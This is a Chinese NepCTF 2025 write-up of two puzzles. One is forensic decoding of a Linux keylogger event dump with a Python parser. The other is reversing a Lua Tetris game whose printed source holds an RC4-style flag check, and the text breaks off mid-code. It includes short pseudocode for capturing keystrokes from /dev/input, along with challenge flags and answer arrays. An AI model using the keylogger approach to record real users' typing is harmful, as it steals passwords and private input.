nepctf2025


MISC

NepBotEvent

题目描述:

1
2
3
最近总觉得NepBot不对劲,邀请函生成速度慢也就算了,以至于/home/Nepnep/目录下都被创建了flag.txt,吓得他赶紧拔网线跑路。经过初步排查,Neper在他的机器上发现了一个神秘的键盘记录器(Keylogger)残留痕迹!

虽然恶意程序已被清除,但攻击者究竟掌握了哪些敏感信息?NepBOT的账号有没有被窃?他的“数据库”是不是也暴露了?请你协助分析泄露的数据库名。flag格式例如:NepCTF{数据库名}

下载附件是一个无后缀文件,010查看一下

以24位字节为一块的许多数据块,根据题目描述得知是键盘记录器

也就是Linux 内核输入事件日志的一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
Linux 内核输入事件日志详解
Linux 内核输入事件日志是 Linux 系统记录用户输入设备(如键盘、鼠标、触摸板等)原始事件的机制。它记录了用户与设备交互的底层数据,是系统输入子系统的核心组成部分。

核心概念
输入子系统架构:

设备驱动层:与硬件交互

输入核心层:事件处理中心

事件处理层:向用户空间提供接口

事件结构:
每个输入事件由固定格式的二进制数据表示,典型结构为:

c
struct input_event {
struct timeval time; // 时间戳 (16字节)
__u16 type; // 事件类型 (2字节)
__u16 code; // 事件代码 (2字节)
__s32 value; // 事件值 (4字节)
};
总大小通常为 24字节

关键组件解析
组件 说明 常见值
时间戳 事件发生的精确时间 tv_sec (秒), tv_usec (微秒)
事件类型(type) 输入事件类别 EV_KEY (0x01): 按键事件
EV_REL (0x02): 相对移动
EV_ABS (0x03): 绝对位置
EV_MSC (0x04): 杂项事件
事件代码(code) 具体事件标识 键盘: 键码 (如 KEY_A=30)
鼠标: 按钮 (BTN_LEFT=0x110) 或轴 (REL_X=0x00)
事件值(value) 事件状态或数值 按键: 0=释放, 1=按下, 2=长按
鼠标: 移动距离
日志生成流程
硬件中断触发(按键按下/释放)

设备驱动生成原始扫描码

输入核心转换为标准输入事件

通过 /dev/input/event* 设备文件暴露

应用程序或记录器捕获并存储事件

实际应用场景
键盘记录器(Keylogger):

python
# 伪代码示例
with open('/dev/input/event0', 'rb') as device:
while True:
event = device.read(24)
if event.type == EV_KEY and event.value == 1:
print(f"Key pressed: {keycode_to_char(event.code)}")
输入设备调试:

bash
# 使用 evtest 工具
$ sudo evtest /dev/input/event0
Event: time 167888.123456, type 1 (EV_KEY), code 30 (KEY_A), value 1
Event: time 167888.123789, type 1 (EV_KEY), code 30 (KEY_A), value 0
手势识别:

python
# 触摸板手势检测
if event.type == EV_ABS and event.code == ABS_MT_POSITION_X:
track_finger_position(event.value)
安全与隐私考量
访问权限:

/dev/input/event* 设备通常需要 root 权限访问

普通用户可通过加入 input 组获取访问权

防护措施:

bash
# 查看输入设备访问权限
$ ls -l /dev/input/event*
crw-rw---- 1 root input 13, 64 Dec 10 10:30 event0

# 移除非必要访问权限
$ sudo chmod o-r /dev/input/event*
内核级防护:

使用 LSM (Linux Security Module) 如 SELinux/AppArmor

内核模块签名验证

审计子系统监控输入设备访问

日志分析工具
文本分析工具:

bash
# 查看二进制事件
$ xxd /path/to/eventlog | less

# 使用 od 查看结构
$ od -t x8 -t u2 -t u4 -N 24 /path/to/eventlog
专用解析工具:

evtest:实时事件查看器

input-event-daemon:事件记录服务

自定义解析脚本(如前文的 Python 脚本)

典型键盘事件序列
修饰键按下(如 Shift):

text
TIME: 167888.100000 | TYPE: EV_KEY (1) | CODE: 42 (KEY_LEFTSHIFT) | VALUE: 1
字母键按下:

text
TIME: 167888.100100 | TYPE: EV_KEY (1) | CODE: 30 (KEY_A) | VALUE: 1
字母键释放:

text
TIME: 167888.100200 | TYPE: EV_KEY (1) | CODE: 30 (KEY_A) | VALUE: 0
修饰键释放:

text
TIME: 167888.100300 | TYPE: EV_KEY (1) | CODE: 42 (KEY_LEFTSHIFT) | VALUE: 0
在 CTF 中的应用
在题目中出现的键盘事件日志通常:

包含敏感操作(如数据库登录)

记录 flag 相关操作

需要还原用户输入序列

包含时间戳可用于分析操作时序

通过分析这些原始事件,可以精确还原用户的操作历史,包括输入的每一条命令、密码和敏感数据。

拷打ai写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/env python3
import sys
import re
import struct
from collections import deque
from datetime import datetime

# --- 键盘事件常量定义 ---
EV_KEY = 1 # 键盘事件类型
EV_MSC = 4 # 杂项事件类型
MSC_SCAN = 4 # 扫描码子类型

# --- 按键状态 ---
KEY_PRESS = 1 # 按键按下
KEY_RELEASE = 0 # 按键释放
KEY_HOLD = 2 # 按键长按

# --- 特殊键码定义 ---
KEY_BACKSPACE = 14
KEY_ENTER = 28
KEY_SPACE = 57
KEY_TAB = 15

# --- 修饰键定义 ---
MODIFIERS = {
42: 'LeftShift',
54: 'RightShift',
29: 'LeftCtrl',
97: 'RightCtrl',
56: 'LeftAlt',
100: 'AltGr',
125: 'LeftMeta',
126: 'RightMeta'
}

# --- 基本字符映射表 (无修饰键) ---
KEYMAP_BASE = {
# 字母键 (小写)
**{30 + i: chr(ord('a') + i) for i in range(26)},

# 数字键
2: '1', 3: '2', 4: '3', 5: '4', 6: '5',
7: '6', 8: '7', 9: '8', 10: '9', 11: '0',

# 符号键
12: '-', 13: '=', 16: 'q', 17: 'w', 18: 'e',
19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i',
24: 'o', 25: 'p', 26: '[', 27: ']', 43: '\\',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',
35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';',
40: "'", 41: '`', 44: 'z', 45: 'x', 46: 'c',
47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',',
52: '.', 53: '/',

# 功能键 (用特殊符号表示)
59: '[F1]', 60: '[F2]', 61: '[F3]', 62: '[F4]',
63: '[F5]', 64: '[F6]', 65: '[F7]', 66: '[F8]',
67: '[F9]', 68: '[F10]', 87: '[F11]', 88: '[F12]',

# 导航键
71: '[Home]', 72: '[Up]', 73: '[PageUp]',
75: '[Left]', 77: '[Right]',
79: '[End]', 80: '[Down]', 81: '[PageDown]',
82: '[Insert]', 83: '[Delete]',

# 特殊功能键
1: '[Esc]', 14: '[Backspace]', 15: '[Tab]',
28: '[Enter]', 57: ' ', 119: '[PrintScreen]',
127: '[Power]', 128: '[Sleep]'
}

# --- Shift修饰后的字符映射表 ---
KEYMAP_SHIFT = {
# 字母键 (大写)
**{30 + i: chr(ord('A') + i) for i in range(26)},

# 数字键上的符号
2: '!', 3: '@', 4: '#', 5: '$', 6: '%',
7: '^', 8: '&', 9: '*', 10: '(', 11: ')',

# 符号键
12: '_', 13: '+', 16: 'Q', 17: 'W', 18: 'E',
19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I',
24: 'O', 25: 'P', 26: '{', 27: '}', 43: '|',
30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G',
35: 'H', 36: 'J', 37: 'K', 38: 'L', 39: ':',
40: '"', 41: '~', 44: 'Z', 45: 'X', 46: 'C',
47: 'V', 48: 'B', 49: 'N', 50: 'M', 51: '<',
52: '>', 53: '?'
}


def parse_event_data(event_bytes):
"""解析单个输入事件数据(二进制格式)"""
try:
# 解析64位格式的输入事件
tv_sec, tv_usec, etype, code, value = struct.unpack('<QQHHI', event_bytes)
timestamp = datetime.fromtimestamp(tv_sec + tv_usec / 1e6)

return {
'timestamp': timestamp,
'type': etype,
'code': code,
'value': value,
'raw': event_bytes
}
except struct.error:
return None


def get_key_char(key_code, modifiers):
"""根据键码和修饰键状态获取对应的字符"""
# 检查是否为修饰键
if key_code in MODIFIERS:
return None

# 处理Shift修饰
if 'LeftShift' in modifiers or 'RightShift' in modifiers:
return KEYMAP_SHIFT.get(key_code, KEYMAP_BASE.get(key_code, f'[Unknown:{key_code}]'))

# 无修饰键
return KEYMAP_BASE.get(key_code, f'[Unknown:{key_code}]')


def main():
"""主函数"""
# 设置输入文件路径
input_file = r"NepBot_keylogger"

try:
with open(input_file, 'rb') as f:
data = f.read()
except Exception as e:
print(f"无法读取文件: {e}")
sys.exit(1)

print(f"正在解析文件: {input_file}")
print(f"文件大小: {len(data)} 字节")

# 解析事件
modifiers = set() # 当前激活的修饰键
buffer = deque() # 输出缓冲区
last_keypress = None # 上次按下的键

# 按24字节块解析数据
for i in range(0, len(data), 24):
event_bytes = data[i:i + 24]
if len(event_bytes) < 24:
break

event = parse_event_data(event_bytes)
if not event:
continue

# 处理按键事件
if event['type'] == EV_KEY:
key_code = event['code']
key_state = event['value']

# 更新修饰键状态
if key_code in MODIFIERS:
if key_state == KEY_PRESS:
modifiers.add(MODIFIERS[key_code])
elif key_state == KEY_RELEASE:
modifiers.discard(MODIFIERS[key_code])
continue

# 处理普通按键
if key_state == KEY_PRESS:
last_keypress = key_code

# 处理退格键
if key_code == KEY_BACKSPACE and buffer:
buffer.pop()
continue

# 获取字符
char = get_key_char(key_code, modifiers)

# 添加到缓冲区
if char:
# 特殊键用方括号包裹,普通字符直接添加
if char.startswith('[') and char.endswith(']'):
buffer.append(char)
else:
buffer.append(char)

# 输出结果
result = ''.join(buffer)
print(f"\n解析完成,共识别出 {len(result)} 个字符")
print("-" * 50)

# 打印前400个字符
print(result[:400])

if len(result) > 400:
print("\n... 输出内容过长,只显示了前400个字符 ...")

# 自动提取数据库名(CTF可能需要)
m = re.search(r'use\s+`?([A-Za-z0-9_\-]+)`?;', result, re.I)
if m:
dbname = m.group(1)
print('\n>>> 解析到 use 语句:', m.group(0).strip())
print(f'>>> 数据库名:{dbname}')
else:
print('\n>>> 未找到数据库名')


if __name__ == "__main__":
main()

运行得到

最后flag为

1
NepCTF{nepctf-20250725-114514}

SpeedMino

题目描述:

1
2
3
Welcome to SpeedMino! Reach 2600.00 to get FLAG

Also, there is a SECRET FLAG you need to REVERSE it.

下载附件

运行exe文件,看的出来是俄罗斯方块游戏

我看还有手打通关的,对于我这种手残党手打通关显然不现实

既然是exe文件,根据题目提示

1
there is a SECRET FLAG you need to REVERSE it.

考虑逆向思路,首先查壳

Lua语言编译,打包成zip文件

那就将SpeedMino.exe改为SpeedMino.zip解压缩

查看main.lua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
require'Zenitha'

ZENITHA.setFirstScene('main')
-- ZENITHA.setMaxFPS(60)
ZENITHA.globalEvent.drawCursor=NULL
ZENITHA.globalEvent.clickFX=NULL

SFX.load{
clear_1='sound/clear_1.ogg',
clear_2='sound/clear_2.ogg',
clear_3='sound/clear_3.ogg',
clear_4='sound/clear_4.ogg',
spin_0='sound/spin_0.ogg',
spin_1='sound/spin_1.ogg',
spin_2='sound/spin_2.ogg',
spin_3='sound/spin_3.ogg',
drop='sound/drop.ogg',
hold='sound/hold.ogg',
lock='sound/lock.ogg',
pc='sound/pc.ogg',
rotate='sound/rotate.ogg',
rotatekick='sound/rotatekick.ogg',
start='sound/key.ogg',
win='sound/win.ogg',
fail='sound/fail.ogg',
ren_1='sound/ren_1.ogg',
ren_2='sound/ren_2.ogg',
ren_3='sound/ren_3.ogg',
ren_4='sound/ren_4.ogg',
ren_5='sound/ren_5.ogg',
ren_6='sound/ren_6.ogg',
ren_7='sound/ren_7.ogg',
ren_8='sound/ren_8.ogg',
ren_9='sound/ren_9.ogg',
ren_10='sound/ren_10.ogg',
ren_11='sound/ren_11.ogg',
}
BGM.load{
secret7th_old='sound/secret7th_old.ogg',
}
BGM.play('secret7th_old')

love.keyboard.setKeyRepeat(false)
local actionList={
'moveLeft',
'moveRight',
'rotateCW',
'rotateCCW',
'rotate180',
'hold',
'softDrop',
'hardDrop',
}
local keyConf={
'left',
'right',
'x',
'z',
'c',
'lshift',
'down',
'up',
}
local sysKey={
r='restart',
['-']='das-',
['=']='das+',
['[']='arr-',
[']']='arr+',
}
local das,arr=10,2
local dropDelay,lockDelay=30,40

local _=false
local pieceList={
{
{_,1,1},
{1,1,_},
},
{
{2,2,_},
{_,2,2},
},
{
{3,3,3},
{3,_,_},
},
{
{4,4,4},
{_,_,4},
},
{
{5,5,5},
{_,5,_},
},
{
{6,6},
{6,6},
},
{
{7,7,7,7},
},
}
local centerList={
{[0]={2,1}, {1,2}, {2,2}, {2,2}},
{[0]={2,1}, {1,2}, {2,2}, {2,2}},
{[0]={2,1}, {1,2}, {2,2}, {2,2}},
{[0]={2,1}, {1,2}, {2,2}, {2,2}},
{[0]={2,1}, {1,2}, {2,2}, {2,2}},
{[0]={1.5,1.5},{1.5,1.5},{1.5,1.5},{1.5,1.5}},
{[0]={2.5,0.5},{0.5,2.5},{2.5,1.5},{1.5,2.5}},
}
local srs={
[1]={
[01]={{0,0},{-1,0},{-1,1},{0,-2},{-1,-2}},
[10]={{0,0},{1,0},{1,-1},{0,2},{1,2}},
[03]={{0,0},{1,0},{1,1},{0,-2},{1,-2}},
[30]={{0,0},{-1,0},{-1,-1},{0,2},{-1,2}},
[12]={{0,0},{1,0},{1,-1},{0,2},{1,2}},
[21]={{0,0},{-1,0},{-1,1},{0,-2},{-1,-2}},
[32]={{0,0},{-1,0},{-1,-1},{0,2},{-1,2}},
[23]={{0,0},{1,0},{1,1},{0,-2},{1,-2}},
[02]={{0,0}},
[20]={{0,0}},
[13]={{0,0}},
[31]={{0,0}},
},
[6]={
[01]={{0,0}},
[10]={{0,0}},
[12]={{0,0}},
[21]={{0,0}},
[23]={{0,0}},
[32]={{0,0}},
[30]={{0,0}},
[03]={{0,0}},
[02]={{0,0}},
[20]={{0,0}},
[13]={{0,0}},
[31]={{0,0}},
},
[7]={
[01]={{0,0},{-2,0},{1,0},{-2,-1},{1,2}},
[10]={{0,0},{2,0},{-1,0},{2,1},{-1,-2}},
[12]={{0,0},{-1,0},{2,0},{-1,2},{2,-1}},
[21]={{0,0},{1,0},{-2,0},{1,-2},{-2,1}},
[23]={{0,0},{2,0},{-1,0},{2,1},{-1,-2}},
[32]={{0,0},{-2,0},{1,0},{-2,-1},{1,2}},
[30]={{0,0},{1,0},{-2,0},{1,-2},{-2,1}},
[03]={{0,0},{-1,0},{2,0},{-1,2},{2,-1}},
[02]={{0,0}},
[20]={{0,0}},
[13]={{0,0}},
[31]={{0,0}},
},
}
for i=2,5 do srs[i]=srs[1] end
local colors={
COLOR.lR,
COLOR.lG,
COLOR.lB,
COLOR.lO,
COLOR.lM,
COLOR.lY,
COLOR.lC,
}
local keyState
local field
local nextQueue,holdSlot
local hand
local handX,handY
local dir,center
local dropTimer,lockTimer=dropDelay,lockDelay
local ghostY
local moveDir,moveCharge
local time,line,b2b,combo,speedcombo,speedcombotime,score,scoreBuffer,multi,multiGauge,lastSpike,lastAttack
local lastSpikeTime,lastSpikeEndTime,lastAttackTime
local playing
local bindingKey=false
local secretBox
local youwillget,trymore,scoremore
local multiColorTable = {
[0] = {1.0,1.0,1.0,0.5} ,
{1.0,0.0,0.0,0.626} ,
{1.0,0.5,0.0,0.626} ,
{1.0,1.0,0.0,0.626} ,
{0.5,1.0,0.0,0.626} ,
{0.0,1.0,0.0,0.626} ,
{0.0,1.0,0.5,0.626} ,
{0.0,1.0,1.0,0.626} ,
{0.0,0.5,1.0,0.626} ,
{0.0,0.0,1.0,0.626} ,
{0.5,0.0,1.0,0.626} ,
{1.0,0.0,1.0,0.626} ,
{1.0,0.5,0.5,0.626} ,
{1.0,1.0,1.0,0.626} ,
}

local function KSA()
local key = "Speedmino Created By MrZ and modified by zxc"
local key_len = #key
local S = {}
for i = 0, 255 do
S[i] = i
end
local j = 0
for i = 0, 255 do
j = (j + S[i] + string.byte(key, i % key_len +1 , i % key_len +1)) % 256
S[i], S[j] = S[j], S[i]
end
return S
end

local secret_i = 0
local secret_j = 0

local function tableToStr(text)
local text_len = text[0]
local outstring = ""
local c
for i = 1, text_len do
c = text[i]
if c < 32 or c >= 127 then
outstring = outstring .. "#"
else
outstring = outstring .. string.char(c)
end
end
return outstring
end

local function calcData(text_table)
local K = {}
local text_len = text_table[0]
K[0] = text_len
for n = 1, text_len do

secret_i = (secret_i + 1) % 256
secret_j = (secret_j + secretBox[secret_i]) % 256

secretBox[secret_i], secretBox[secret_j] = secretBox[secret_j], secretBox[secret_i]
K[n] = (text_table[n] + secretBox[(secretBox[secret_i] + secretBox[secret_j]) % 256]) % 256
end
return K
end

local function testPos(p,x,y)
if x<1 or x+#p[1]>11 or y<1 then return false end
for _y=1,#p do
for _x=1,#p[1] do
if p[_y][_x] and field[y+_y-1][x+_x-1] then return false end
end
end
return true
end

local function freshGhost()
ghostY=handY
while testPos(hand, handX, ghostY-1) do
ghostY=ghostY-1
end
lockTimer=lockDelay
end

local function supplyNext()
if #nextQueue>=6 then return end
local l={1,2,3,4,5,6,7}
TABLE.shuffle(l)
for i=1,#l do
local newPiece=TABLE.copy(pieceList[l[i]])
newPiece.id=l[i]
table.insert(nextQueue, newPiece)
end
end

local function freshPiecePos()
handY=21
handX=math.floor(6-#hand[1]/2)
dropTimer,lockTimer=dropDelay,lockDelay
dir=0
center=centerList[hand.id][dir]
freshGhost()
if not testPos(hand, handX, handY) then
playing=false
if trymore >= 2600 then
SFX.play('win')
else
SFX.play('fail')
end
end
end

local function popNext()
hand=table.remove(nextQueue, 1)
freshPiecePos()
if #nextQueue<7 then supplyNext() end
end

local function rotate(rotDir)
local newHand=TABLE.rotate(hand, rotDir); newHand.id=hand.id
local newDir=(dir+(rotDir=='R' and 1 or rotDir=='L' and -1 or 2))%4
local newX=handX+center[1]-centerList[hand.id][newDir][1]
local newY=handY+center[2]-centerList[hand.id][newDir][2]
local list=srs[hand.id][dir*10+newDir]
local success=false
for i=1,#list do
if testPos(newHand, newX+list[i][1], newY+list[i][2]) then
success=true
hand=newHand
handX,handY=newX+list[i][1],newY+list[i][2]
dir,center=newDir,centerList[hand.id][newDir]
freshGhost()
break
end
end
if success then
if
not (
testPos(hand, handX, handY+1) or
testPos(hand, handX, handY-1) or
testPos(hand, handX+1, handY) or
testPos(hand, handX-1, handY)
)
then
SFX.play('rotatekick')
else
SFX.play('rotate')
end
end
end

local function dropPiece()
if handY~=ghostY then
SFX.play('drop')
end
handY=ghostY
local spin=not (
testPos(hand, handX, handY+1) or
testPos(hand, handX, handY-1) or
testPos(hand, handX+1, handY) or
testPos(hand, handX-1, handY)
)
for _y=1,#hand do
for _x=1,#hand[1] do
if hand[_y][_x] then
field[handY+_y-1][handX+_x-1]=hand[_y][_x]
end
end
end
local cnt=0
for y=#field,1,-1 do
if TABLE.count(field[y], false)==0 then
table.remove(field, y)
table.insert(field, TABLE.new(false, 10))
cnt=cnt+1
end
end
if cnt>0 then
local tempb2b = 0;
if spin then SFX.play('spin_'..math.min(cnt, 4)) end
SFX.play('clear_'..math.min(cnt, 4))

line=line+cnt
if spin or cnt >= 4 then b2b = b2b + 1 else tempb2b = b2b;b2b = -1 end
combo = combo + 1
if speedcombotime >= time then
speedcombo = speedcombo + 1
else
speedcombotime = time
speedcombo = 1
end
speedcombotime = speedcombotime + (cnt + 2) / (0.75 + (speedcombo *0.5) ^ 2) + 0.1
SFX.play('ren_'..math.min(math.max(combo - 1, speedcombo - 2,0),11))
local attack = 0
multiGauge = multiGauge + cnt + 0.1
attack = attack + cnt - 1
if spin or cnt >= 4 then
attack = attack + 1
if spin then
attack = attack + 1
end
if b2b >= 1 then
attack = attack + 1
end
end
attack = attack + ((speedcombo + combo * 2) ^ 0.5 ) - 1

if TABLE.count(field[1], false)==10 then
SFX.play('pc')
attack = attack * 1.5 + 4
if tempb2b > 0 then
b2b = tempb2b
tempb2b = 0
end
b2b = b2b + 4
end

if tempb2b >= 4 then
multiGauge = multiGauge + tempb2b * 0.5
attack = attack + tempb2b
end

multiGauge = multiGauge + attack
while multiGauge >= multi * 3 do
multiGauge = multiGauge - multi * 3
multi = multi + 1
end

scoreBuffer = scoreBuffer + attack * multi *0.25 * 2 + 1
lastSpike = lastSpike + attack
if attack >= 1 then
lastSpikeTime = time
lastSpikeEndTime = time + 2.6
lastAttack = attack
lastAttackTime = time
end


else
if spin then
SFX.play('spin_0')
b2b = b2b + 1
end
combo = -1;
end

popNext()
SFX.play('lock')
end



local function newGame()
collectgarbage("collect")
field=TABLE.newMat(false, 40, 10)
nextQueue,holdSlot={},false
moveDir,moveCharge=0,0
supplyNext()
popNext()
keyState={
moveLeft=false,
moveRight=false,
rotateCW=false,
rotateCCW=false,
rotate180=false,
hold=false,
softDrop=false,
hardDrop=false,
}
time,line=0,0
b2b,combo=-1,-1
speedcombo = 0
speedcombotime = 0
playing=true
scoreBuffer = 0
score = 0
multi = 1
multiGauge = 0
lastSpike = 0
lastAttack = 0
lastAttackTime = -1
lastSpikeTime = 0
lastSpikeEndTime = 0
secretBox = KSA()
secret_i = 0
secret_j = 0
youwillget = {187,24,5,131,58,243,176,235,179,159,170,155,201,23,6,3,210,27,113,11,161,94,245,41,29,43,199,8,200,252,86,17,72,177,52,252,20,74,111,53,28,6,190,108,47,16,237,148,82,253,148,6}
youwillget[0] = #youwillget
trymore = 0
scoremore = 0
local pass = CLIPBOARD.get()
if #pass > 0 and #pass <= 55 then
-- MSG('info', pass)
else
pass = ""
end
pass = pass .. string.rep(" ",55 - string.len(pass))
local passTable = {}
passTable[0] = #pass
for n = 1, #pass do
passTable[n] = string.byte(pass, n,n)
end
local result_table = calcData(passTable)
SFX.play('start')
local verfiy = true
local answer_table = {222,174,208,225,137,95,76,120,104,84,161,74,222,237,242,91,249,20,13,126,69,81,231,170,178,8,164,164,169,2,191,138,156,165,185,42,75,23,89,160,5,134,82,78,10,120,108,98,114,159,59,243,87,214,243,}
for n = 1, #pass do
if result_table[n] ~= answer_table[n] then
verfiy = false
break
end
end
if verfiy then
MSG('warn',"Maybe you are right or not?")
end
end



local actions={
moveLeft=function()
if testPos(hand, handX-1, handY) then
handX=handX-1
end
moveDir=-1
moveCharge=0
freshGhost()
end,
teleLeft=function()
while testPos(hand, handX-1, handY) do
handX=handX-1
end
moveCharge=0
freshGhost()
end,
moveRight=function()
if testPos(hand, handX+1, handY) then
handX=handX+1
end
moveDir=1
moveCharge=0
freshGhost()
end,
teleRight=function()
while testPos(hand, handX+1, handY) do
handX=handX+1
end
moveCharge=0
freshGhost()
end,
rotateCW=function()
rotate('R')
end,
rotateCCW=function()
rotate('L')
end,
rotate180=function()
rotate('F')
end,
hold=function()
local id=hand.id
hand=TABLE.copy(pieceList[hand.id])
hand.id=id
if holdSlot then
hand,holdSlot=holdSlot,hand
freshPiecePos()
else
holdSlot=hand
popNext()
end
end,
softDrop=function()
handY=ghostY
freshGhost()
end,
hardDrop=function()
dropPiece()
end,
}
local actionsRel={
moveLeft=function()
moveDir=keyState.moveRight and 1 or 0
moveCharge=0
end,
moveRight=function()
moveDir=keyState.moveLeft and -1 or 0
moveCharge=0
end,
}
---@type Zenitha.Scene
local scene={}

function scene.load()
newGame()
end

function scene.keyDown(key)
if bindingKey then
keyConf[bindingKey]=key
bindingKey=bindingKey+1
if bindingKey>8 then
bindingKey=false
end
return true
else
if key=='tab' then
bindingKey=1
return true
end
if sysKey[key] then
if sysKey[key]=='restart' then
newGame()
elseif sysKey[key]=='das-' then
das=math.max(1, das-1)
elseif sysKey[key]=='das+' then
das=das+1
elseif sysKey[key]=='arr-' then
arr=math.max(0, arr-1)
elseif sysKey[key]=='arr+' then
arr=arr+1
end
return true
end
if not playing then return true end
local action=actionList[TABLE.find(keyConf, key)]
if action then
keyState[action]=true
(actions[action] or NULL)()
end
end
return true
end

function scene.keyUp(key)
if not playing then return end
local action=actionList[TABLE.find(keyConf, key)]
if action then
keyState[action]=false
(actionsRel[action] or NULL)()
end
end

function scene.update(dt)
if not playing then return end
time=time+dt
multiGauge = multiGauge - 1 * (multi ^ 2 + multi) * dt / 60
if multiGauge < 0 then
if multi >= 2 then
multi = multi - 1
multiGauge = multiGauge + multi * 3
else
multiGauge = 0
end
end
scoreBuffer = scoreBuffer + multi * dt * 1 * 0.25
if speedcombotime < time then
lastSpikeEndTime = lastSpikeEndTime - 1 * dt
end
if time > lastSpikeEndTime then
lastSpike = 0
end

local scoreAdd = math.min(scoreBuffer / 30,1.000)
score = score + scoreAdd
scoreBuffer = scoreBuffer - scoreAdd

if trymore < 2600 and score >= (scoremore + 1 * 1) then
trymore = trymore + 1
scoremore = math.floor(score)
youwillget = calcData(youwillget)
end

if moveDir~=0 then
moveCharge=moveCharge+1
local chrg=moveCharge
if arr==0 then
if moveCharge>=das then
(actions[moveDir==1 and 'teleRight' or 'teleLeft'] or NULL)()
end
else
if moveCharge>=das and (moveCharge-das)%arr==0 then
(actions[moveDir==1 and 'moveRight' or 'moveLeft'] or NULL)()
end
end
moveCharge=chrg
end
if keyState.softDrop then
handY=ghostY
end
if handY>ghostY then
dropTimer=dropTimer-1
if dropTimer<=0 then
handY=handY-1
dropTimer=dropDelay
end
else
lockTimer=lockTimer-1
if lockTimer<=0 then
dropPiece()
end
end
end

local gc=love.graphics
local gc_translate=gc.translate
